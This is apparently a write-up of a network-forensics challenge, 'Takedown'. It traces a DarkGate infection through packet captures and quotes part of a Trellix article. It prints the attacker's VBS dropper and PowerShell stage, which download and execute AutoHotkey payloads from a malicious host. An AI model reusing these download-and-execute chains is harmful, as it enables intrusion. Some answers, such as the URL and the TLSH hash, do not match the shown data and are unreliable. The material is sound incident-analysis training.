

Takedown

Sherlock Scenario

We've identified an unusual pattern in our network activity, indicating a possible security breach. Our team suspects an unauthorized intrusion into our systems, potentially compromising sensitive data. Your task is to investigate this incident.

Task 1:

From what domain is the VBS script downloaded?

I searched for VBS as String and found a request to some file named AZURE_DOC_OPEN.vbs and checked the SMB Header.

28	2024-03-19 16:59:37.415862	10.3.19.101	53623	165.22.16.55	445	SMB2	374 Create Request File: AZURE_DOC_OPEN.vbs
29	2024-03-19 16:59:37.567594	165.22.16.55	445	10.3.19.101	53623	SMB2	131 Create Response, Error: STATUS_ACCESS_DENIED
30	2024-03-19 16:59:37.568138	10.3.19.101	53623	165.22.16.55	445	SMB2	374 Create Request File: AZURE_DOC_OPEN.vbs
31	2024-03-19 16:59:37.724743	165.22.16.55	445	10.3.19.101	53623	SMB2	131 Create Response, Error: STATUS_ACCESS_DENIED
32	2024-03-19 16:59:37.725691	10.3.19.101	53623	165.22.16.55	445	SMB2	374 Create Request File: AZURE_DOC_OPEN.vbs
33	2024-03-19 16:59:37.882968	165.22.16.55	445	10.3.19.101	53623	SMB2	318 Create Response File: AZURE_DOC_OPEN.vbs
34	2024-03-19 16:59:37.884019	10.3.19.101	53623	165.22.16.55	445	SMB2	171 Read Request Len:4096 Off:0 File: AZURE_DOC_OPEN.vbs
35	2024-03-19 16:59:38.027892	165.22.16.55	445	10.3.19.101	53623	TCP	1430 445 → 53623 [ACK] Seq=1953 Ack=3208 Win=65535 Len=0

Frame 28: 374 bytes on wire (2992 bits), 374 bytes captured (2992 bits) on interface 0
Ethernet II, Src: IntelCor_a2:53:36 (00:21:5c:a2:53:36), Dst: IntelCor_c8:3b:f4 (00:1b:21:c8:3b:f4)
Internet Protocol Version 4, Src: 10.3.19.101, Dst: 165.22.16.55
Transmission Control Protocol, Src Port: 53623, Dst Port: 445, Seq: 2131, Ack: 1535, Len: 320
NetBIOS Session Service
SMB2 (Server Message Block Protocol version 2)
SMB2 Header
ProtocolId: 0xfe534d42
Header Length: 64
Credit Charge: 1
Channel Sequence: 0
Reserved: 0000
Command: Create (5)
Credits requested: 10
Flags: 0x00000030, Priority
Chain Offset: 0x00000000
Message ID: 0
Process ID: 0x000000ff
Tree ID: 0x7ea4831b \\escuelademarina.com\cloud
Session ID: 0x0000000019d235f7 Acct:admin Domain: Host:DESKTOP-7VT9H5W

Answer: escuelademarina.com

Task 2:

What was the IP address associated with the domain in question #1 used for this attack?

IP is in the same packet from task 1.

Answer: 165.22.16.55

Task 3:

What is the filename of the VBS script used for initial access?

File found in the same packet from task 1.

Task 4:

What was the URL used to get a PowerShell script?

After I found the packet from task 1, I followed the TCP Stream and at the bottom of the stream there is a PowerShell script

```
tjzfzfhft = "powershell"
tjnmkmab = "Shell.Application"
lpeldets = "-Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwnpcwo')
CreateObject(tjnmkmab).ShellExecute tjzfzfhft, lpeldets ,""",",",0
```

Answer: badbutperfect.com/nrwnpcwo

Task 5:

What likely legit binary was downloaded to the victim machine?

I filtered for HTTP and found a suspicious GET requests to /nrwnpcwo.

I followed the HTTP Stream and found some more directories from badbutperfect and the name of the binary.

No.	Time	Source	SRC Port	Destination	DST Port	Protocol	Length	Info
73	2024-03-19 16:59:48.464366	10.3.19.101	53625	103.124.105.78	80	HTTP	224	GET /nrwnpcwo HTTP/1.1
75	2024-03-19 16:59:48.839643	103.124.105.78	80	10.3.19.101	53625	HTTP	594	HTTP/1.1 200 OK

HTTP/1.1 200 OK
Connection: close
Content-Disposition: attachment; filename="nrwnpcwo"
Content-Type: application/octet-stream
Content-Length: 350
Date: Tue, 19 Mar 2024 16:59:48 GMT
n1 'C:/rimz' -Type Directory -Force;cd 'C:/rimz';Invoke-WebRequest -Uri "http://badbutperfect.com/test2" -OutFile 'AutoHotkey.exe';Invoke-WebRequest -Uri "http://badbutperfect.com/jvtobaq" -OutFile 'script.ahk';Invoke-WebRequest -Uri "http://badbutperfect.com/ozkpfzju" -OutFile 'test.txt'; start 'AutoHotkey.exe' -a 'script.ahk';attrib +h 'C:/rimz'

Answer: AutoHotKey.exe

Task 6:

From what URL was the malware used with the binary from question #5 downloaded?

URL is in the packet from task 5.

Answer: <http://badbutperfect.com/jvtobaqj>

Task 7:

What filename was the malware from question #6 given on disk?




Filename is in the pakcet from task 5.

Answer: script.ahk

Task 8:

What is the TLSH of the malware?

I downloaded the file from the "Export Objects" and filtered for jvtobaqj which is from the malware was downloaded. Then I checked the Hash and checked it on Virus Total



Answer: T15E430A36DBCS5202AD8E3074270096562FE7DC0215B4B32659C9EF16835CF6FF9B6A1B8

Task 9:

What is the name given to this malware? Use the name used by McAfee, Ikarus, and alejandro.sanchez.

I searched for the SHA256 in Google and found Trellix (McAfee) article regarding a malware named "DarkGate"

DarkGate again but... Improved?

By Ernesto Fernández Provecho · June 3, 2024

Executive summary

During 2023, DarkGate made a comeback with a version full of new features, becoming one of the most preferred Remote Access Trojans (RATs) by malicious actors. However, this momentum also required continuous updates to not only include the latest capabilities, but also to try to stay off the radar of security applications. Something we discussed in a [blog](#) published at the end of the previous year.

All of these changes have culminated with the release of DarkGate version 6 at the beginning of this year, something that other [researchers](#) have already noticed. However, the execution chain has almost stayed the same, until the month of March, when a new method was released, the usage of the AutoHotKey toolkit to execute the final DarkGate payload that our peers at [McAfee](#) talked about.

The Trellix Advanced Research Center has analyzed the different updates regarding the DarkGate author, RastaFarEye, as well as the latest DarkGate campaigns and versions, delving into the changes and features they include. This analysis has resulted in the discovery of some servers that contained both DarkGate and PikaBot samples, a behavior observed by other [security colleagues](#), probably due to the fact that the operator bought both services, not relying on a single malware family for its operations.

RastaFarEye latest insights

The DarkGate developer, *RastaFarEye*, is not a popular profile in the underground anymore since some users raised complaints about its services at the end of year 2023 and caused a ban of the user in the underground forums.

Answer: DarkGate

Task 10:

What is the user-agent string of the infected machine?

I filtered for http.request and in the Hypertext Transfer Protocol I found the User-Agent

```
> Frame 2638: 399 bytes on wire (3192 bits), 399 bytes captured (3192 bits)
> Ethernet II, Src: IntelCor_a2:53:36 (00:21:5c:a2:53:36), Dst: IntelCor_c8:3b:f4 (00:1b:21:c8:3b:f4)
> Internet Protocol Version 4, Src: 10.3.19.101, Dst: 103.124.105.78
> Transmission Control Protocol, Src Port: 53664, Dst Port: 80, Seq: 1, Ack: 1, Len: 345
✓ Hypertext Transfer Protocol
  > POST / HTTP/1.0\r\n
    Host: badbutperfect.com\r\n
    Keep-Alive: 300\r\n
    Connection: keep-alive\r\n
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36\r\n
    Content-Type: Application/octet-stream\r\n
    Content-Length: 75\r\n
    \r\n
    [Full request URI: http://badbutperfect.com/]
    [HTTP request 1/1]
    [Response in frame: 2645]
    File Data: 75 bytes
> Data (75 bytes)
```

Answer: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36

Task 11:

To what IP does the RAT from the previous question connect?

IP is in the same packet from task 10.

Answer: 103.124.105.78